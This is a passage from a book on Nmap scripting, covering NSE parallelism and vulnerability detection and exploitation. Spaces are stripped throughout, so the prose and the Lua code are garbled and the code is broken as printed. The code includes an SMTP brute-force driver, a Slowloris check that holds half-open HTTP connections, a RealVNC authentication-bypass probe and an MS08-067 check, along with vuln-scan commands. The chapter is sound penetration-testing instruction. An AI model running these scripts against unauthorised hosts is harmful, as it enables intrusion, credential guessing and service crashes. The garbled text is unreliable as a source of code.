Coroutine#2isrunning

coroutine#2:2

Coroutine#1isrunning

Coroutine#2issuspended

coroutine#1:3

Coroutine#1issuspended

Coroutine#2isrunning

coroutine#2:3

Thestdnse.base()methodisincludedwiththestdnselibrarytohelpdevelopersidentifythecoroutinerunningthescript—specificallythecoroutinerunningtheactionfunction.Forexample,thisinformationcanbeusedbythecoroutine.status()functiontodeterminewhetherthemainthreadhasexitedandwhetherweneedtostopourworkerthread:

basethread=stdnse.base()

if(self.quitorcoroutine.status(self.basethread)=='dead')then

table.insert(response_queue,{false,{err=false,msg="Quit

signalledbycrawler"}})

break

end

Let’slookatanotherexample.Thesmtp-brutescriptmaintainsaconnectionpooltoefficientlyutilizetheconnectionsavailableinitsimplementationoftheDriverclass(seeChapter5,EnhancingVersionDetection).Thescriptcreatesatabletostorereferencestoeachrunningcoroutinewiththehelpofcoroutine.running(),toavoidreconnectingtotheserviceasitisnotneededwiththisprotocol.Thecodeforthisscriptisasfollows:

localbrute=require"brute"

localcoroutine=require"coroutine"

localcreds=require"creds"

localshortport=require"shortport"

localsmtp=require"smtp"

localstdnse=require"stdnse"

…—Byusingthisconnectionpoolwedon'tneedtoreconnectthesocket—for

eachattempt.

ConnectionPool={}

Driver=

{

connect=function(self)

self.socket=ConnectionPool[coroutine.running()]

if(not(self.socket))then

self.socket=smtp.connect(self.host,self.port,{ssl=true,

recv_before=true})

if(not(self.socket))thenreturnfalseend

ConnectionPool[coroutine.running()]=self.socket

end

returntrue

end,

login=function(self,username,password)

localstatus,err=smtp.login(self.socket,username,password,mech)

if(status)then

smtp.quit(self.socket)

ConnectionPool[coroutine.running()]=nil

returntrue,creds.Account:new(username,password,creds.State.VALID)

end

if(err:match("^ERROR:Failedto.*"))then

self.socket:close()

ConnectionPool[coroutine.running()]=nil

localerr=brute.Error:new(err)

—Thismightbetemporary,settheretryflag

err:setRetry(true)

returnfalse,err

end

returnfalse,brute.Error:new("Incorrectpassword")

end,—Disconnectsfromtheserver(releasetheconnectionobjectbackto

—thepool)

disconnect=function(self)

returntrue

end,

}

Andattheendoftheactionblock,thescriptiteratesthroughtheconnectionpoolandsimplyclosesallthesockets:

for_,sockinpairs(ConnectionPool)do

sock:close()

end

NowthatyouhavestartedtounderstandhowparallelismworksinLua,wewillmoveontothemechanismssupportedbyNSEtocomplementthepowerofcoroutineswithNSE

threads,conditionvariables,andmutexes.

NoteLua’sofficialdocumentationaboutcoroutinescanbefoundatthefollowingpages:

http://lua-users.org/wiki/CoroutinesTutorialhttp://www.lua.org/pil/9.1.html

ParallelismmechanismsinNSEWhendevelopingNSEscriptsthatperformoperationsinparallel,youdon’tneedtoworryaboutprotectingmemoryresourcesbecauseNmapissingle-threaded.However,networkresourcessuchassocketsornetworkbandwidthdoneedtobeconsideredifweareworkingwithalargenumberofscriptinstances.

NSEthreadsThestdnseNSElibrarysupportsthecreationofNSEthreadsthatcanruninsideyourscript’sLuathread,andperformsnetworkoperationsinparallel.

Thestdnse.new_thread()functioncreatesanewNSEthread.Thisfunctiontakesasthefirstparameterthefunctiontoexecuteinthenewthreadand,optionally,theargumentsneededfortheworkerthread’smainfunction.TocreateanNSEworker,youmustloadthestdnselibraryandinvokethestdnse.new_thread()function:

stdnse.new_thread(func,arg1,arg2,arg3,…)

Let’screateascriptthatlaunchesthreeseparateNSEworkersandwaitsuntilallthetasksarecomplete:

localstdnse=require"stdnse"

functionfunc1(host,port)…end

functionfunc2(host,port)…end

functionfunc3(host,port)…end

action=function(host,port)

localthread1=stdnse.new_thread(func1,host,port)

localthread2=stdnse.new_thread(func2,host,port)

localthread3=stdnse.new_thread(func3,host,port)

whiletruedo

ifcoroutine.status(thread1)=="dead"andcoroutine.status(thread2)==

"dead"andcoroutine.status(thread3)=="dead"then

break

end

stdnse.sleep(1)

end

end

NSEthreadsareespeciallyusefulwhenweneedtoperformnetworkoperationsinparallel.Tocontroltheexecutionflowbetweenthreads,NSEsupportsconditionvariablesandmutexes.Let’slearnmoreaboutthemandlookatsomereal-lifeexamplesofcommonimplementationsusingNSEworkers.

ConditionvariablesConditionvariablesareamechanismtocontroltheexecutionflowofascriptworkingwithNSEthreads.Theyareusedtosignalthreadsthatmaybewaitingandalsotoblockthreadsuntilacertainconditionismet.Tocreateaconditionvariable,weusetheNmapAPIandthenmap.condvar()function:

localMyCondVarFn=nmap.condvar("AnythingExceptBooleanNumberNil")

Thenmap.condvar()functiontakesasanargumentanobjectthatcanbeanythingexceptfornil,aBoolean,oranumber,andreturnsafunctionthatmustbeusedtoperform

operationsontheconditionvariable.Theoperationsavailableforconditionvariablesare:

wait

broadcast

signal

Awaitingqueueiskeptforeachconditionvariable,wherethethreadsarestoredintheorderinwhichtheycallthewaitfunction.Thesignalfunctiontakesasinglethreadfromthewaitingqueueandresumesit,whilebroadcastresumesallthreads:

localMyCondVar=nmap.condvar("GoToFail")

MyCondVar"wait"

Let’slookatanimplementationofawebcrawlerwhereseveralworkerthreadsarestartedandthemainthreadusesaconditionvariabletowaituntiltheURLqueueisemptyandtheworkershavefinishedtheirwork:

--Initializesthewebcrawler.

--Thisfuncionextractstheinitialsetoflinksand

--createsthesubcrawlersthatstartprocessingtheselinks.

--Itwaitsuntilallthesubcrawlersaredonebeforequitting.

--@paramuriURIstring

--@paramsettingsOptionstable

localfunctioninit_crawler(host,port,uri)

stdnse.print_debug(1,"%s:[Subcrawler]CrawlingURI'%s'",LIB_NAME,uri)

localcrawlers_num=OPT_SUBCRAWLERS_NUM

localco={}

localcondvar=nmap.condvar(host)

init_registry()

--Forconsistency,transforminitialURItoabsoluteform

ifnot(is_url_absolute(uri))then

localabs_uri=url.absolute("http://"..stdnse.get_hostname(host),uri)

stdnse.print_debug(3,"%s:StartingURI'%s'became'%s'",LIB_NAME,

uri,abs_uri)

uri=abs_uri

end

--Extractslinksfromgivenurl

localurls=url_extract(host,port,uri)

if#urls<=0then

stdnse.print_debug(3,"%s:0linksfoundin%s",LIB_NAME,uri)

nmap.registry[LIB_NAME]["finished"]=true

returnfalse

end

add_unvisited_uris(urls)

--Reducethenumberofsubcrawlersiftheinitiallinklisthasless

—itemsthanthenumberofsubcrawlers

iftonumber(crawlers_num)>#urlsthen

crawlers_num=#urls

end

--Wakesubcrawlers

fori=1,crawlers_numdo

stdnse.print_debug(2,"%s:Creatingsubcrawler#%d",LIB_NAME,i)

co[i]=stdnse.new_thread(init_subcrawler,host,port)

end

repeat

condvar"wait";

fori,threadinpairs(co)do

ifcoroutine.status(thread)=="dead"thenco[i]=nilend

end

untilnext(co)==nil;

dump_visited_uris()

nmap.registry[LIB_NAME]["finished"]=true

nmap.registry[LIB_NAME]["running"]=false

end

Let’slookatanotherexample.Therpc-grindNSEscriptcreatesNSEthreadswhereitlaunchesinstancesoftherpcGrinderfunction:

localthreads=tonumber(stdnse.get_script_args(SCRIPT_NAME..".threads"))

or4

localiterator=rpcIterator()

ifnotiteratorthen

return

end

—Andnow,execourgrinder

fori=1,threadsdo

localco=stdnse.new_thread(rpcGrinder,host,port,iterator,result)

lthreads[co]=true

end

localcondvar=nmap.condvar(result)

repeat

forthreadinpairs(lthreads)do

ifcoroutine.status(thread)=="dead"then

lthreads[thread]=nil

end

end

if(next(lthreads))then

condvar"wait";

end

untilnext(lthreads)==nil;

TherpcGrinderfunctionisinchargeofsendingtheRPCprobesandsignalingthemainthreadtoletitknowthatitsworkisfinishedandanewthreadinthequeuecanberun.ThecodesnippetofrpcGrinder()isasfollows:

---FunctionthatsendsRPCnullcommandswitharandomversionnumberand—

iteratedoverprogramnumbersandcheckstheresponseforasignthatthe—

sentprogramnumberisthematchingoneforthetargetservice.—@paramhost

HosttableascommonlyusedinNmap.—@paramportPorttableascommonly

usedinNmap.—@paramiteratorIteratorfunctionthatreturnsprogramname

andnumberpairs.—@paramresulttabletoputresultinto.

localrpcGrinder=function(host,port,iterator,result)

localcondvar=nmap.condvar(result)

localrpcConn,version,xid,status,response,packet,err,data,_

xid=math.random(123456789)

—Weusearandom,mostlikelyunsupportedversionsothat

—wealsotriggerminandmaxversiondisclosureforthetargetservice.

version=math.random(12345,123456789)

rpcConn=rpc.Comm:new("rpcbind",version)

rpcConn:SetCheckProgVer(false)

status,err=rpcConn:Connect(host,port)

ifnotstatusthen

stdnse.debug1("Connect():%s",err)

condvar"signal";

return

end

forprogram,numberiniteratordo

—Noneedtocontinuefurtherifwefoundthematchingservice.

if#result>0then

break

end

xid=xid+1—XiDincreasedby1eachtime(fromoldRPCgrind)<=Any

importantreasonforthat?

rpcConn:SetProgID(number)

packet=rpcConn:EncodePacket(xid)

status,err=rpcConn:SendPacket(packet)

ifnotstatusthen

stdnse.debug1("SendPacket():%s",err)

condvar"signal";

return

end

status,data=rpcConn:ReceivePacket()

ifnotstatusthen

stdnse.debug1("ReceivePacket():%s",data)

condvar"signal";

return

end

_,response=rpcConn:DecodeHeader(data,1)

iftype(response)=='table'then

ifxid~=response.xidthen

—Shouldn'thappen.

stdnse.debug1("XIDmismatch.")

end

—Lookatacceptstate

—Notsupportedversionmeansthatweusedtherightprogramnumber

ifresponse.accept_state==rpc.Portmap.AcceptState.PROG_MISMATCH

then

result.program=program

result.number=number

_,result.highver=bin.unpack(">I",data,#data-3)

_,result.lowver=bin.unpack(">I",data,#data-7)

table.insert(result,true)—Tomake#result>1

—Otherwise,anAcceptstateotherthanProgramunavailableisnot

normalbehaviour.

elseifresponse.accept_state~=rpc.Portmap.AcceptState.PROG_UNAVAIL

then

stdnse.debug1("returned%sacceptstatefor%sprogramnumber.",

response.accept_state,number)

end

end

end

condvar"signal";

returnresult

end

MutexesMutexesareprovidedbyNSEasamechanismtopreventmultiplescriptsfromaccessingaresourceatthesametime—forexample,thenmapscriptregistry.NSEdevelopersmayalsousemutexestorunonlyasingleinstanceofascriptatanygiventime,evenifseveralhostsarebeingscannedsimultaneously.Wecanalsousethemtocontroltheexecutionflowofascriptinotherwayswhenworkingwithseveralthreads.

Thenmap.mutex()functiontakesanobjectasanargument,whichcanbeanydatatypeexceptfornil,numbers,andBooleans.Tocreateamutex,wesimplyloadtheNmapAPIandcallnmap.mutex():

localnmap=require"nmap"

action=function(host,port)

localMutex=nmap.mutex("MYSCRIPTID")

--nowwedosomethingwithourmutex

end

Thefunctionreturnedbynmap.mutex()takesfourpossiblearguments:

trylock

lock

running

done

Let’sseethisinactionandwriteascriptthatwilllockamutextoallowonlyasingleinstanceofthescriptatanygiventime:

localnmap=require"nmap"

localmutex=nmap.mutex("AnyStringOrDatatypeExceptForNilNumbersBooleans")

functionrun_crawler()

end

functioninit()

ifnmap.registry{SCRIPT_NAME].executed==nilthen

run_crawler()

nmap.registry[SCRIPT_NAME].executed=true

end

end

action=function(host,port)

mutex"lock"

init()

mutex"done"

end

Wecallthelockanddonefunctionstoblocktheexecutionoftheinit()function,whichwillallowonlyoneinstanceofthescripttobeexecutedatanygiventime,evenifmultiplehostsarebeingscanned.Thereexistsanotherfunctioncalledtrylockthatwillattempttolocktheresource;ifitisbusy,itwillreturnfalseimmediately.Thisisdifferentfromwhatlockdoesbecauseitwillnotyielduntilthelockisgranted.Finally,therunningfunctionreturnsthethreadthathasthemutexlock.

TipTherunningfunctionisrecommendedonlyfordebuggingasitaffectsthreadcollection.

ConsumingTCPconnectionswithNSENowwecaneasilycreateascriptthatstartsmultipleconnectionssimultaneouslyandkeepsthemopen.Let’slookatthehttp-slowloris-checkscript,whichdetectstheinfamousSlowlorisvulnerability(http://ha.ckers.org/slowloris/),knownforcausingdenial-of-serviceconditionswithveryfewnetworkresources.Inthiscase,thescriptonlyopenstwoconnections,butwecanexpandtheideatokeepopenasmanyconnectionsaspossible.Refertothehttp-slowlorisNSEexploit(https://svn.nmap.org/nmap/scripts/http-slowloris.nse)ifyouarelookingforasimilarimplementation.

Themainfunctionofhttp-slowloris-checkstartstwoworkerthreadsandwaitsforbothofthemtocomplete.Thetimedifferenceiscomparedtodeterminewhetherthesecondworkerthreadtooklongerand,therefore,whethertheconnectionwaskeptalive:

action=function(host,port)

…—definitionoftheslowlorisvulntablegoeshere

localreport=vulns.Report:new(SCRIPT_NAME,host,port)

slowloris.state=vulns.STATE.NOT_VULN

local_

_,_,Bestopt=comm.tryssl(host,port,"GET/\r\n\r\n",{})—first

determineifweneedssl

HalfHTTP="POST/"..tostring(math.random(100000,900000)).."

HTTP/1.1\r\n"..

"Host:"..host.ip.."\r\n"..

"User-Agent:"..http.USER_AGENT.."\r\n;"..

"Content-Length:42\r\n"

—boththreadsrunatthesametime

localthread1=stdnse.new_thread(slowThread1,host,port)

localthread2=stdnse.new_thread(slowThread2,host,port)

whiletruedo—waitforboththreadstodie

ifcoroutine.status(thread1)=="dead"andcoroutine.status(thread2)

=="dead"then

break

end

stdnse.sleep(1)

end

—comparetimes

if(not(TimeWith)ornot(TimeWithout))then

return

end

localdiff=TimeWith-TimeWithout

stdnse.debug1("Timedifferenceis:%d",diff)

—ifsecondconnectiondied10ormoresecondsafterthefirst

—itmeansthatsendingadditionaldataprolongedtheconnection'stime

—andtheserverisvulnerabletoslowlorisattack

ifdiff>=10then

stdnse.debug1("Differenceisgreaterorequalto10seconds.")

slowloris.state=vulns.STATE.VULN

end

returnreport:make_output(slowloris)

end

BothmainthreadfunctionsopenasocketandsendanincompleteHTTPrequest.Theonlydifferenceisthatthesecondfunctionwillsendadditionaldatatoattempttokeeptheconnectionopen.ThefunctiondefinitionsofslowThread1(host,port)andslowThread2(host,port)areasfollows:

--doesahalfhttprequestandwaitsuntiltimeout

localfunctionslowThread1(host,port)

—ifnoresponsewasreceivedwhendeterminingSSL

if(Bestopt=="none")then

return

end

localsocket,status

localcatch=function()

TimeWithout=nmap.clock()

end

localtry=nmap.new_try(catch)

socket=nmap.new_socket()

socket:set_timeout(500*1000)

socket:connect(host.ip,port,Bestopt)

socket:send(HalfHTTP)

try(socket:receive())

TimeWithout=nmap.clock()

end—doesahalfhttprequestbutsendsanother—headervalueafter10

seconds

localfunctionslowThread2(host,port)

—ifnoresponsewasreceivedwhendeterminingSSL

if(Bestopt=="none")then

return

end

localsocket,status

localcatch=function()

—notethetimethesockettimedout

TimeWith=nmap.clock()

stdnse.debug1("2try")

end

localtry=nmap.new_try(catch)

socket=nmap.new_socket()

socket:set_timeout(500*1000)

socket:connect(host.ip,port,Bestopt)

socket:send(HalfHTTP)

stdnse.sleep(10)

socket:send("X-a:b\r\n")

try(socket:receive())

TimeWith=nmap.clock()

End

Theexecutionflowiscontrolledwithcoroutine.status()todetectwhenbothworkerthreadsarefinishedtoescapetheloopandfinishtherestoftheroutine.

SummaryNSEautomaticallyperformsseveraloperationsinparalleltoobtainbetterperformanceduringscans.Mostofthetime,wewon’tevenrealizewhenourscriptsareyieldedbecauseofthis.However,therearespecialsituationswherewemayneedfinercontrolovertheexecutionofourscripts.

Inthischapter,youlearnedalltheparallelismmechanismssupportedbyNSEandhowyoucanusethemtocontroltheexecutionflowofscriptsandworkerthreads.WeintroducedLuacoroutines,showedthedifferencesfromtraditionalpreemptivemultithreading,anddemonstratedhowtousethemtoachievecollaborativemultithreading.Additionally,youlearnedaboutconditionvariablesandmutexestocontroltheexecutionflowofthreadsinNSE.

Thenextstepistoreviewallthescriptsyouhavepreviouslywrittenandcheckwhetheranyofthemcouldbeimprovedbyimplementingparallelism.Withabitofluck,youwillmakeyourNSEscriptsevenfaster.

Intheupcomingchapter,youwilllearnaboutvulnerabilityexploitationwithNSEbymeansofconcreteexamplesdemonstratinghowtodiscover,exploit,andreportsecurityvulnerabilitiescorrectlyusingtheNmapAPIandthecorrespondingNSElibraries.Fireupyourterminalandlet’sbreaksomestuff!

Chapter10.VulnerabilityDetectionandExploitationInthischapter,myobjectiveistoteachyouabouttheprebuiltfunctionsandwiderangeoflibrariesavailableinNmapScriptingEngine(NSE)toexploitvulnerabilitiesindifferentapplications,services,andnetworkprotocols.Aswithanyotherdevelopmentframework,themainbenefitistocutdownthedevelopmenttimewhencreatingexploits—timethatisveryvaluableduringpentests,especiallyduringthosedreadedshort-termengagements.

AllNSEexploitsinheritapowerfulfeature—thescanningcapabilitiesofNmap.Scriptexecutionrulesareveryflexibleandallowustousehostrules,portrules,andevenNmap’sversiondetectioninformationtospotvulnerabilities.OnceyouhaveaworkingNSEexploit,youcanlaunchitagainstentirenetworkswithhardlyanyadditionaleffort.Yourexploitwillalsosupportadditionalfeaturessuchasparallelism,CIDRnotation,differentoutputformats,theabilitytoreadtargetlists,andmanyotheradditionalprotocol-specificconfigurationsettingssupportedbyNSElibraries.

AlthoughtheNSEcategoriesexploitandvulncurrentlycontainfewerthan100scripts,theyaretwoofmyfavoritecategories.Duringpentestengagements,IconstantlyfindoutdatedXPboxes,vulnerableservices,webservers,andapplicationsusingtheNSEscriptsincludedinthiscategory.Ifyoubelongtoablueteamdefendingnetworksagainstattackers,youshouldalsobeawareofthesescriptstoquicklydetectanyweakness.Rememberthatscanscanbescheduledtorunperiodically.

Inthispartofthebook,wewilltakealookattheexploitationprocessofthefollowing:

AsimpleauthenticationbypassvulnerabilityinRealVNCserverTheclassicnetapiMS08_067vulnerabilityOpenSSL’sinfamousheartbleedvulnerabilityThemysteriousShellshockvulnerabilityinwebapplicationsTheconfigurationdisclosurevulnerabilitythataffectedthousandsofIPMI/BMCinterfaces

Additionally,wewilllearnaboutthevulnsNSElibrarythathelpsusreportvulnerabilitiescorrectly,amongotherthings.Let’sgettoworkandcausemayhemwithNSE!

VulnerabilityscanningThesimplestwayofturningNmapintoavulnerabilityscanneristorunscriptsfromthevulnNSEcategorythatcheckforspecificvulnerabilities.Currently,thereare66scriptsavailable,targetingpopularapplications,products,protocols,andservices.Whilethisnumbermaynotbethatimpressive,thevulnerabilityexploitationcapabilitiesofNSEcansaveuscountlesshourswhendevelopingexploitsfromscratch.

SomeofthekeyaspectsofusingNSEforvulnerabilitydetectionareasfollows:

HostinformationgatheredduringscanscanbeaccessedviatheNmapAPINSEscriptscangenerateadditionalhostinformationthroughadvancedfingerprintingduringruntimeNSEscriptscansharevalidcredentialsfoundduringexecutionamongotherscriptsNSEprovidesseveralnetworkprotocollibraries,andtheyarereadytouseThevulnNSElibraryprovidesasimpleinterfacetocreatewell-organizedvulnerabilityreportsNSEoffersrobustparallelismsupportanderrorhandlingmechanisms

Rememberthat,toexecuteallthescriptsbelongingtoacertaincategory,wemustsimplypassthecategorynametothe--scriptargument.Thisactionwillgenerallyyieldbetterresultsifweactivateandenhanceversiondetection(-sV--version-all)andcovertheentirevalidportrange(-p):

#nmap-sV--version-all-p---scriptvuln<target>

Ifwearelucky,weshouldseeavulnerabilityreport(orreports)withdetaileddescriptionsoftheissuesfound.Thefollowingisareportofthessl-ccs-injectionNSEscript:

PORTSTATESERVICE

443/tcpopenhttps

|ssl-ccs-injection:

|VULNERABLE:

|SSL/TLSMITMvulnerability(CCSInjection)

|State:VULNERABLE

|Riskfactor:High

|Description:

|OpenSSLbefore0.9.8za,1.0.0before1.0.0m,and1.0.1before

|1.0.1hdoesnotproperlyrestrictprocessingofChangeCipherSpec

|messages,whichallowsman-in-the-middleattackerstotriggeruse

|ofazero-lengthmasterkeyincertainOpenSSL-to-OpenSSL

|communications,andconsequentlyhijacksessionsorobtain

|sensitiveinformation,viaacraftedTLShandshake,akathe

|"CCSInjection"vulnerability.

|

|References:

|https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0224

|http://www.cvedetails.com/cve/2014-0224

|_http://www.openssl.org/news/secadv_20140605.txt

Furthermore,youcouldalsopassthevulns.showallscriptparametertoshowallthe

attemptedexploits:

#nmap-sV--scriptvuln--script-argsvulns.showall<target>

Thiswillgeneratethefollowingoutput:

|http-method-tamper:

|NOTVULNERABLE:

|AuthenticationbypassbyHTTPverbtampering

|State:NOTVULNERABLE

|References:

|http://capec.mitre.org/data/definitions/274.html

|

https://www.owasp.org/index.php/Testing_for_HTTP_Methods_and_XST_%28OWASP-

CM-008%29

|http://www.mkit.com.ar/labs/htexploit/

|_http://www.imperva.com/resources/glossary/http_verb_tampering.html

|http-phpmyadmin-dir-traversal:

|NOTVULNERABLE:

|phpMyAdmingrab_globals.lib.phpsubformParameterTraversalLocalFile

Inclusion

|State:NOTVULNERABLE

|IDs:CVE:CVE-2005-3299

|References:

|http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3299

|_http://www.exploit-db.com/exploits/1244/

|http-phpself-xss:

|NOTVULNERABLE:

|Unsafeuseof$_SERVER["PHP_SELF"]inPHPfiles

|State:NOTVULNERABLE

|References:

|http://php.net/manual/en/reserved.variables.server.php

|_https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)

|http-slowloris-check:

|NOTVULNERABLE:

|SlowlorisDOSattack

|State:NOTVULNERABLE

|References:

|_http://ha.ckers.org/slowloris/

|_http-stored-xss:Couldn'tfindanystoredXSSvulnerabilities.

|http-tplink-dir-traversal:

|NOTVULNERABLE:

|PathtraversalvulnerabilityinseveralTP-Linkwirelessrouters

|State:NOTVULNERABLE

|References:

|_http://websec.ca/advisories/view/path-traversal-vulnerability-

tplink-wdr740

|http-vuln-cve2010-2861:

|NOTVULNERABLE:

|AdobeColdFusionDirectoryTraversalVulnerability

|State:NOTVULNERABLE

|IDs:CVE:CVE-2010-2861OSVDB:67047

|References:

|http://www.blackhatacademy.org/security101/Cold_Fusion_Hacking

|http://www.nessus.org/plugins/index.php?view=single&id=48340

|http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2010-2861

|http://osvdb.org/67047

|_http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2861

|http-vuln-cve2011-3192:

|NOTVULNERABLE:

|ApachebyterangefilterDoS

|State:NOTVULNERABLE

|IDs:CVE:CVE-2011-3192OSVDB:74721

|References:

|http://seclists.org/fulldisclosure/2011/Aug/175

|http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3192

|http://nessus.org/plugins/index.php?view=single&id=55976

|_http://osvdb.org/74721

TheexploitNSEcategoryTheexploitNSEcategorycontains32scriptsusedtoattackspecificapplicationsandservices;asthenamestates,theyarefullyconfigurableworkingexploits.Amongthesescripts,afewcometomindbecauseofhowusefultheyhavebeentomeinthepast:

http-csrf:ThisspidersawebsiteandattemptstodetectCross-siteRequestForgeryvulnerabilities.http-stored-xss:ThisfindsstoredCross-sitevulnerabilities.http-adobe-coldfusion-apsa1301:ThisattemptstoretrieveanHTTPsessioncookiethatgrantsadministrativeaccessinthevulnerableColdfusion9and10.http-iis-short-name-brute:ThisexploitsIISwebserverstoobtaintheWindows8.3shortnamesofthefilesandfoldersstoredinthewebrootfolder.jdwp-exec:ThisexploitstheJavaDebugWireProtocol.smb-check-vulns:ThisdetectsseveralvulnerabilitiesfoundinoutdatedWindowssystems.ItistheeasiestwayofdetectingvulnerableWindowsXPsystemsonthenetwork.

Don’tforgettotakealookattheentirelistofavailablescriptsinthiscategory.Manypopularvulnerabilityscannerswon’tdetectIISwebserversthatleaktheshortnamesoffilesstoredintheirrootfolders.IfIseeIISwebservers,Ialwaystrythehttp-iis-short-name-bruteNSEscript,whichwillnotonlydetectbutalsoexploitthevulnerability,toobtaintheentirelistoffilesandfoldersstoredinthewebrootfolder:

$nmap-p80--scripthttp-iis-short-name-brute<target>

Thisscriptwillgeneratethefollowingoutput:

PORTSTATESERVICE

80/tcpopenhttp

|http-iis-short-name-brute:

|VULNERABLE:

|MicrosoftIIStildecharacter"~"shortnamedisclosureanddenialof

service

|State:VULNERABLE(Exploitable)

|Description:

|VulnerableIISserversdisclosefolderandfilenameswithaWindows

8.3namingschemeinsidethewebrootfolder.

|Shortnamescanbeusedtoguessorbruteforcesensitivefilenames.

Attackerscanexploitthisvulnerabilityto

|causeadenialofservicecondition.

|

|Extrainformation:

|

|8.3filenamesfound:

|Folders

|admini~1

|Files

|backup~1.zip

|certsb~2.zip

|siteba~1.zip

|

|References:

|

http://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vu

lnerability_feature.pdf

|_http://code.google.com/p/iis-shortname-scanner-poc/

NoteTheentirelistofNSEscriptsintheexploitcategorycanbefoundathttp://nmap.org/nsedoc/categories/exploit.html.

ExploitingRealVNCRealVNCisapopularproductthatincludesboththeclientandtheserverfortheVNCprotocoltoadministerworkstationsremotely.Unfortunately,itiscommontofindoutdatedversionsofthissoftwareinthewild.Version4.1.1andseveralotherfree,personal,andenterpriseeditionsareaffectedbyanauthenticationbypassvulnerabilitythatallowsattackerstogainaccesstotheVNCservers.

TodetectvulnerableVNCservers,wesimplyneedtosendanullauthenticationpacketandchecktheresponsestatuscode.Nmaphastherealvnc-auth-bypassNSEscriptthatexploitsthisissue.Let’stakealookattheinternalsofthisscript.

Asalways,webeginwithourdescriptionandlibrarycalls:

description=[[

ChecksifaVNCserverisvulnerabletotheRealVNCauthenticationbypass

(CVE-2006-2369).

]]

author="BrandonEnright"

license="SameasNmap--Seehttp://nmap.org/book/man-legal.html"

categories={"auth","default","safe"}

localnmap=require"nmap"

localshortport=require"shortport"

localvulns=require"vulns"

Thescriptsetstheportruletoexecutewhenport5900isopenortheservicenamedetectedisvnc:

portrule=shortport.port_or_service(5900,"vnc")

ThemainactioncodeblockwillcreateanNSEsockettocommunicatewiththeservice,sendacoupleofpackets,andthenchecktheresponsestodeterminewhethertheserverisvulnerable:

action=function(host,port)

localsocket=nmap.new_socket()

localresult

localstatus=true

socket:connect(host,port)

status,result=socket:receive_lines(1)

if(notstatus)then

socket:close()

return

end

socket:send("RFB003.008\n")

status,result=socket:receive_bytes(2)

if(notstatusorresult~="\001\002")then

socket:close()

return

end

socket:send("\001")

status,result=socket:receive_bytes(4)

if(notstatusorresult~="\000\000\000\000")then

socket:close()

return

end

socket:close()

return"Vulnerable"

end

VulnerableVNCserverswillreturnthefollowingoutput:

PORTSTATESERVICEVERSION

5900/tcpopenvncVNC(protocol3.8)

|_realvnc-auth-bypass:Vulnerable

Thisscriptwassubmittedsometimeago,anditdoesnotproducethebestoutputformat,butwewillgobacktoitlateroninthechapterwhenwelearnmoreaboutthevulnsNSElibrary.

DetectingvulnerableWindowssystemsSomescriptsmayrequireadditionalargumentstoexecutevulnerabilitycheckscorrectly;forexample,myall-timefavorite,smb-check-vulns,requiresuserstosettheunsafescriptparametertorunallchecks:

$nmap-p--sV–scriptvuln--script-argsunsafe<target>

Thisscriptwillgeneratethefollowingoutput:

Hostscriptresults:

|smb-check-vulns:

|MS08-067:VULNERABLE

|Conficker:LikelyCLEAN

|regsvcDoS:regsvcDoS:ERROR(NT_STATUS_ACCESS_DENIED)

|SMBv2DoS(CVE-2009-3103):NOTVULNERABLE

|MS06-025:NOSERVICE(theRasRPCserviceisinactive)

|_MS07-029:NOSERVICE(theDnsServerRPCserviceisinactive)

However,rememberthatyouneedtobecarefulwhensettingtheunsafescriptparametersincethiswilllikelycrashunpatchedWindowssystems.Thesmb-check-vulnsscriptperformsthefollowingvulnerabilitychecks:

WindowsRasRPCservicevulnerability(MS06-025)WindowsDnsServerRPCservicevulnerability(MS07-029)WindowsRPCvulnerability(MS08-67)ConfickerworminfectionCVE-2009-3013UnnamedregsvcDoSfoundbyRonBowes

Thesevulnerabilitieshavebeenaroundforalongtimebut,surprisingly,therearestillanalarmingnumberofunpatchedWindows2000,WindowsXP,andWindowsServer2003boxesonline,especiallyincorporatenetworks,eventhoughthisversionisnolongersupportedbyMicrosoft.Byutilizingsmb-check-vulns,wecanquicklyfindtheseoutdatedboxesinnetworksduringapenetrationtest.Let’stakeadeeperlookathowthisscriptidentifiesthevulnerabilitybestknownasMS08-067.

Thesmb-check-vulns.nsescriptdetectsMS08-067bycallingNetPathCompareusinganillegalstringandcheckingwhethertheserviceacceptsit.Thisscript,whichisusedtoestablishSMBcommunicationandperformtherequiredMSRPCoperations,usesthesmbandmsrpclibraries:

--@paramhostThehostobject.

--@return(status,result)Ifstatusisfalse,resultisanerrorcode;

otherwise,resultiseither—<code>VULNERABLE</code>forvulnerable,

<code>PATCHED</code>fornotvulnerable,—<code>UNKNOWN</code>if

therewasanerror(likelyvulnerable),<code>NOTRUN</code>—ifthis

checkwasdisabled,and<code>INFECTED</code>ifitwaspatchedby

Conficker.

functioncheck_ms08_067(host)

if(nmap.registry.args.safe~=nil)then

returntrue,NOTRUN

end

if(nmap.registry.args.unsafe==nil)then

returntrue,NOTRUN

end

localstatus,smbstate

localbind_result,netpathcompare_result

—CreatetheSMBsession

status,smbstate=msrpc.start_smb(host,"\\\\BROWSER")

if(status==false)then

returnfalse,smbstate

end

—BindtoSRVSVCservice

status,bind_result=msrpc.bind(smbstate,msrpc.SRVSVC_UUID,

msrpc.SRVSVC_VERSION,nil)

if(status==false)then

msrpc.stop_smb(smbstate)

returnfalse,bind_result

end

—Callnetpathcanonicalize

—status,netpathcanonicalize_result=

msrpc.srvsvc_netpathcanonicalize(smbstate,host.ip,"\\a","\\test\\")

localpath1="\\AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\..\\n"

localpath2="\\n"

status,netpathcompare_result=msrpc.srvsvc_netpathcompare(smbstate,

host.ip,path1,path2,1,0)

—StoptheSMBsession

msrpc.stop_smb(smbstate)

if(status==false)then

if(string.find(netpathcompare_result,"WERR_INVALID_PARAMETER")~=nil)

then

returntrue,INFECTED

elseif(string.find(netpathcompare_result,"INVALID_NAME")~=nil)then

returntrue,PATCHED

else

returntrue,UNKNOWN,netpathcompare_result

end

end

returntrue,VULNERABLE

end

Wewillomitthefunctioninchargeofformattingtheoutput.VulnerableWindowsworkstationswillyieldanoutputsimilartothefollowing:

Hostscriptresults:

|smb-check-vulns:

|MS08-067:VULNERABLE

|Conficker:LikelyCLEAN

